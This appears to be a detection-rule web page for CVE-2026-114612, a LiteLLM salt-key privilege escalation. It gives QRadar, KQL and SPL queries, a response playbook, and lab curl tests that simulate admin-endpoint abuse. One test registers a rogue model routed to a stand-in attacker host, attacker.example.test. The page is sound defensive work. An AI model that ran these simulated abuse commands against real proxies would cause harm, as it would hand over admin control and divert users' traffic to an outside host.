Skip to content
CVE-2026-114612 IBM QRadar · QRadar

Detect LiteLLM Salt Key Cross-Domain Reuse Privilege Escalation to Proxy Admin (CVE-2026-114612) in IBM QRadar

Detects exploitation and exploitation-enabling conditions for CVE-2026-114612, a critical (CVSS 9.9) privilege-escalation flaw in the LiteLLM AI proxy. LiteLLM uses a single LITELLM_SALT_KEY to encrypt/sign sensitive material. Because the same salt key is reused across trust domains (e.g. shared between a lower-privilege tenant/instance and the admin control plane), an attacker who can obtain or forge material minted under that salt can mint or re-use credentials that resolve to the proxy admin role, escalating from a low-privilege API key to full LITELLM_PROXY_ADMIN control. This detection surfaces anomalous admin-scoped API usage (/key/generate, /user/new with admin roles, /model/new, /config/update, /team/member_add), key-generation bursts, and access from keys/users that suddenly gain admin privileges, as well as the vulnerable version banner. Affected: litellm >=1.91.0 <1.100.4, >=1.101.0 <1.101.3, >=1.102.0 <1.102.2, >=1.103.0 <1.103.1, 1.104.0rc1. Fixed in 1.100.4, 1.101.3, 1.102.2, 1.103.1, 1.104.0-rc.2.

MITRE ATT&CK

Tactic
Privilege Escalation Persistence Initial Access

QRadar Detection Query

IBM QRadar (QRadar)
sql 
-- df00tech DF00-fca940af86 · https://df00tech.com/detections/CVE-2026-114612 · licence: https://df00tech.com/detections/licence
SELECT "api_key_hash" AS key, "user_role" AS role, sourceip, COUNT(*) AS admin_calls, STRCOLLECT("request_path") AS endpoints FROM events WHERE LOGSOURCETYPE(devicetype) = 'LiteLLM Proxy' AND ("request_path" IN ('/key/generate','/user/new','/model/new','/config/update','/team/member_add','/organization/new','/key/update') OR "user_role" IN ('proxy_admin','LITELLM_PROXY_ADMIN')) GROUP BY key, role, sourceip HAVING admin_calls >= 1 ORDER BY admin_calls DESC LAST 1 HOURS
critical severity medium confidence

QRadar AQL aggregating LiteLLM admin-endpoint or proxy_admin-role activity per API key, for triage of potential salt-key-reuse privilege escalation.

Data Sources

LiteLLM proxy access/audit logs

Required Tables

events

False Positives & Tuning

  • Legitimate administrator provisioning activity
  • Scheduled key-rotation automation
  • Self-service user provisioning portals

Other platforms for CVE-2026-114612

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Low-privilege key invokes LiteLLM admin key-generation endpoint

    Expected signal: LiteLLM proxy access log entry for POST /key/generate with the low-privilege api_key_hash and resulting status code.

  2. Test 2 Create new user with proxy_admin role via /user/new

    Expected signal: LiteLLM access log for POST /user/new with user_role=proxy_admin in the request body.

  3. Test 3 Register rogue model via /model/new

    Expected signal: LiteLLM access log for POST /model/new including the api_base pointing at an external host.

Last updated: Research depth: standard
References (9)

Response Playbook

Triage

  1. Identify the offending api_key_hash/user and confirm whether it is a known, authorized administrator key. Cross-reference against your LiteLLM key inventory and the subset explicitly granted LITELLM_PROXY_ADMIN.
  2. Check the LiteLLM version running on the proxy (GET /health/readiness or the startup banner/container image tag). If it falls in >=1.91.0 <1.100.4, >=1.101.0 <1.101.3, >=1.102.0 <1.102.2, >=1.103.0 <1.103.1, or 1.104.0rc1, the instance is vulnerable.
  3. Review whether a single LITELLM_SALT_KEY is shared across multiple LiteLLM deployments or trust domains (dev/stage/prod, multi-tenant). Shared salt is the precondition for exploitation.
  4. Reconstruct the timeline of admin-endpoint calls (/key/generate, /user/new, /model/new, /config/update, /team/member_add) from the suspect key and determine which privileged objects were created or modified.

Containment

  1. Immediately revoke/delete the suspect API key and any keys it minted via /key/generate, and demote any users elevated to proxy_admin that cannot be verified as legitimate.
  2. Rotate LITELLM_SALT_KEY to a unique per-domain value and ensure no salt key is shared across trust boundaries; note that rotating the salt requires re-encrypting stored credentials per LiteLLM guidance.
  3. Upgrade LiteLLM to a fixed release (1.100.4, 1.101.3, 1.102.2, 1.103.1, or 1.104.0-rc.2 depending on branch) and restart the proxy.

Evidence Collection

  1. Export LiteLLM proxy access/audit logs covering all admin-endpoint calls, the api_key_hash, source IPs, user_role transitions, and HTTP status codes for the incident window.
  2. Capture the LiteLLM configuration (config.yaml / DB-stored config), the current key and user tables, and the running version/image digest before remediation to preserve the compromised state.

Escalation Criteria

  • !Escalate to incident response if any key not on the authorized-admin list successfully (HTTP 200) called /key/generate, /user/new with an admin role, /config/update, or /model/new.
  • !Escalate if the same LITELLM_SALT_KEY is confirmed shared across trust domains AND unexpected proxy_admin-scoped actions are observed, indicating active exploitation rather than misconfiguration alone.

Investigation Guide

Forensic Artifacts

  • >LiteLLM proxy access/audit log entries for admin endpoints with the attacker api_key_hash and user_role=proxy_admin
  • >LiteLLM key and user database tables showing newly created keys/users or elevated roles
  • >The LITELLM_SALT_KEY value and its deployment scope (which instances/domains share it)
  • >Container image tag / pip package version of the running LiteLLM proxy

Tuning Guidance

Baseline the set of legitimate proxy_admin api_key_hash values and the service accounts/CI identities that are allowed to call /key/generate, /user/new and /model/new, then exclude them from alerting. Narrow the admin-endpoint list to those actually exposed in your deployment. Where LiteLLM access logs do not natively include user_role, enrich from the key database. Lower noise further by alerting only on first-time-seen keys reaching admin endpoints rather than all occurrences.

Hunting Queries

Hunts for keys that successfully minted other keys via /key/generate, especially those not already recognized as proxy_admin or minting an unusually high volume — a hallmark of post-escalation persistence.

Hunting — KQL
kql 
// df00tech DF00-fca940af86 · https://df00tech.com/detections/CVE-2026-114612 · licence: https://df00tech.com/detections/licence
LiteLLM_CL | where TimeGenerated > ago(30d) | extend Key=tostring(ApiKeyHash_s), Role=tostring(UserRole_s), Path=tostring(RequestPath_s) | where Path == "/key/generate" and toint(StatusCode_d)==200 | summarize MintedKeys=count(), FirstMint=min(TimeGenerated) by Key, Role | where Role !in ("proxy_admin") or MintedKeys > 5 | sort by MintedKeys desc
Hunting — SPL
spl 
``` df00tech DF00-fca940af86 · https://df00tech.com/detections/CVE-2026-114612 · licence: https://df00tech.com/detections/licence ```
index=litellm sourcetype="litellm:proxy" request_path="/key/generate" status=200 earliest=-30d | stats count AS minted_keys min(_time) AS first_mint by api_key_hash user_role | where user_role!="proxy_admin" OR minted_keys>5 | sort - minted_keys

Atomic Red Team Tests

Test 1 Low-privilege key invokes LiteLLM admin key-generation endpoint
linux

Simulates a non-admin API key attempting to mint a new key via the admin-only /key/generate endpoint on a lab LiteLLM proxy.

Command

bash 
curl -s -X POST http://127.0.0.1:4000/key/generate -H "Authorization: Bearer sk-lowpriv-test-key" -H "Content-Type: application/json" -d '{"models":["gpt-4"],"duration":"1h"}'

Cleanup

bash 
curl -s -X POST http://127.0.0.1:4000/key/delete -H "Authorization: Bearer sk-admin-lab-key" -H "Content-Type: application/json" -d '{"keys":["<generated_key>"]}'

Expected Telemetry

LiteLLM proxy access log entry for POST /key/generate with the low-privilege api_key_hash and resulting status code.

Expected Detection

KQL/SPL admin-endpoint rule fires on the /key/generate call from a non-admin key.

Test 2 Create new user with proxy_admin role via /user/new
linux

Simulates creation of a new user carrying the proxy_admin role, as an attacker would do post-escalation to establish persistence.

Command

bash 
curl -s -X POST http://127.0.0.1:4000/user/new -H "Authorization: Bearer sk-admin-lab-key" -H "Content-Type: application/json" -d '{"user_email":"[email protected]","user_role":"proxy_admin"}'

Cleanup

bash 
curl -s -X POST http://127.0.0.1:4000/user/delete -H "Authorization: Bearer sk-admin-lab-key" -H "Content-Type: application/json" -d '{"user_ids":["[email protected]"]}'

Expected Telemetry

LiteLLM access log for POST /user/new with user_role=proxy_admin in the request body.

Expected Detection

Admin-endpoint / proxy_admin-role rule fires on the /user/new call.

Test 3 Register rogue model via /model/new
linux

Simulates an escalated admin registering a new (potentially exfiltration-routing) model backend via the admin /model/new endpoint.

Command

bash 
curl -s -X POST http://127.0.0.1:4000/model/new -H "Authorization: Bearer sk-admin-lab-key" -H "Content-Type: application/json" -d '{"model_name":"rogue-proxy","litellm_params":{"model":"openai/gpt-4","api_base":"http://attacker.example.test/v1"}}'

Cleanup

bash 
curl -s -X POST http://127.0.0.1:4000/model/delete -H "Authorization: Bearer sk-admin-lab-key" -H "Content-Type: application/json" -d '{"id":"rogue-proxy"}'

Expected Telemetry

LiteLLM access log for POST /model/new including the api_base pointing at an external host.

Expected Detection

Admin-endpoint rule fires on /model/new; hunting query flags the externally-routed model registration.

Related Detections

Tactic Hubs

TA0004 Privilege Escalation TA0003 Persistence TA0001 Initial Access ATT&CK Matrix

Related Techniques

T1078 Valid Accounts T1068 Exploitation for Privilege Escalation T1098 Account Manipulation

Same Tactic: Privilege Escalation

Popular Detections